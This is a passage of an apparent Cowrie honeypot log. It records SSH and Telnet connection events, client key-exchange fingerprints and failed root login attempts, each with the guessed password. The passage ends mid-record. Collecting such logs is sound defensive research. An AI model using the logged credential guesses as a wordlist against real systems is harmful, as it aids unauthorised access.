{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:11.497036Z","src_ip":"162.144.105.39","session":"24ae7e19ef69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skale2024","message":"login attempt [root/skale2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:11.766567Z","src_ip":"162.144.105.39","session":"24ae7e19ef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.915605545043945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:12.068674Z","src_ip":"72.167.226.244","session":"1fc74d661bbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:14.909805Z","src_ip":"162.144.105.39","session":"24ae7e19ef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.53305244445801,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:00:53.730925Z","src_ip":"137.184.5.188","session":"fad0d1dff039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46310,"dst_ip":"159.203.135.109","dst_port":22,"session":"91143b5b5cc7","protocol":"ssh","message":"New connection: 143.20.185.207:46310 (159.203.135.109:22) [session: 91143b5b5cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:48.171969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:48.174928Z","src_ip":"143.20.185.207","session":"91143b5b5cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:48.307124Z","src_ip":"143.20.185.207","session":"91143b5b5cc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#8VCPU16GBAMD","message":"login attempt [root/undefinedVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:48.684101Z","src_ip":"143.20.185.207","session":"91143b5b5cc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:49.800648Z","src_ip":"143.20.185.207","session":"91143b5b5cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":41468,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfb2bd546bb7","protocol":"ssh","message":"New connection: 162.240.35.200:41468 (10.17.0.5:22) [session: bfb2bd546bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:59.571668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:59.575330Z","src_ip":"162.240.35.200","session":"bfb2bd546bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:59.663929Z","src_ip":"162.240.35.200","session":"bfb2bd546bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ag1x$M@st3r@P@ss","message":"login attempt [root/Ag1x$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:01:59.931765Z","src_ip":"162.240.35.200","session":"bfb2bd546bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:02:01.314343Z","src_ip":"162.240.35.200","session":"bfb2bd546bb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad423fb342e8","protocol":"telnet","message":"New connection: 107.6.151.170:39270 (159.203.135.109:23) [session: ad423fb342e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:02:16.020697Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76fbcbe52fe","protocol":"telnet","message":"New connection: 137.184.5.188:36266 (159.203.135.109:23) [session: c76fbcbe52fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:02:34.906893Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49492,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2453dff69a","protocol":"telnet","message":"New connection: 107.6.151.170:49492 (159.203.135.109:23) [session: be2453dff69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:08.811233Z"}
{"eventid":"cowrie.session.closed","duration":0.0037593841552734375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:08.814712Z","src_ip":"107.6.151.170","session":"be2453dff69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57072,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d6a3d21ed6","protocol":"ssh","message":"New connection: 103.153.68.219:57072 (159.203.135.109:22) [session: 60d6a3d21ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:22.058971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:22.062691Z","src_ip":"103.153.68.219","session":"60d6a3d21ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:22.315433Z","src_ip":"103.153.68.219","session":"60d6a3d21ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uftn7s9x","message":"login attempt [root/uftn7s9x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:23.074615Z","src_ip":"103.153.68.219","session":"60d6a3d21ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:24.330174Z","src_ip":"103.153.68.219","session":"60d6a3d21ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.46308660507202,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:29.483687Z","src_ip":"107.6.151.170","session":"ad423fb342e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.5654366016388,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:03:44.472256Z","src_ip":"137.184.5.188","session":"c76fbcbe52fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38298,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb1bdb20dbb3","protocol":"ssh","message":"New connection: 103.176.20.57:38298 (159.203.135.109:22) [session: fb1bdb20dbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:04.787512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:04.790987Z","src_ip":"103.176.20.57","session":"fb1bdb20dbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:05.028780Z","src_ip":"103.176.20.57","session":"fb1bdb20dbb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100878","message":"login attempt [root/100878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:05.749710Z","src_ip":"103.176.20.57","session":"fb1bdb20dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:06.989889Z","src_ip":"103.176.20.57","session":"fb1bdb20dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44808,"dst_ip":"159.203.135.109","dst_port":22,"session":"19451c44c71c","protocol":"ssh","message":"New connection: 103.77.242.62:44808 (159.203.135.109:22) [session: 19451c44c71c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:47.810920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:47.814280Z","src_ip":"103.77.242.62","session":"19451c44c71c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:48.049502Z","src_ip":"103.77.242.62","session":"19451c44c71c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180481","message":"login attempt [root/180481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:48.754685Z","src_ip":"103.77.242.62","session":"19451c44c71c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:04:49.992527Z","src_ip":"103.77.242.62","session":"19451c44c71c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":46348,"dst_ip":"10.17.0.5","dst_port":22,"session":"52103ba65ea2","protocol":"ssh","message":"New connection: 143.20.185.207:46348 (10.17.0.5:22) [session: 52103ba65ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:00.160300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:00.164607Z","src_ip":"143.20.185.207","session":"52103ba65ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:00.311816Z","src_ip":"143.20.185.207","session":"52103ba65ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#4VCPU16GBAMD","message":"login attempt [root/undefinedVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:00.668663Z","src_ip":"143.20.185.207","session":"52103ba65ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:01.789557Z","src_ip":"143.20.185.207","session":"52103ba65ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":60040,"dst_ip":"159.203.135.109","dst_port":22,"session":"9279dcaf22d4","protocol":"ssh","message":"New connection: 103.27.238.120:60040 (159.203.135.109:22) [session: 9279dcaf22d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:34.085978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:34.089512Z","src_ip":"103.27.238.120","session":"9279dcaf22d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 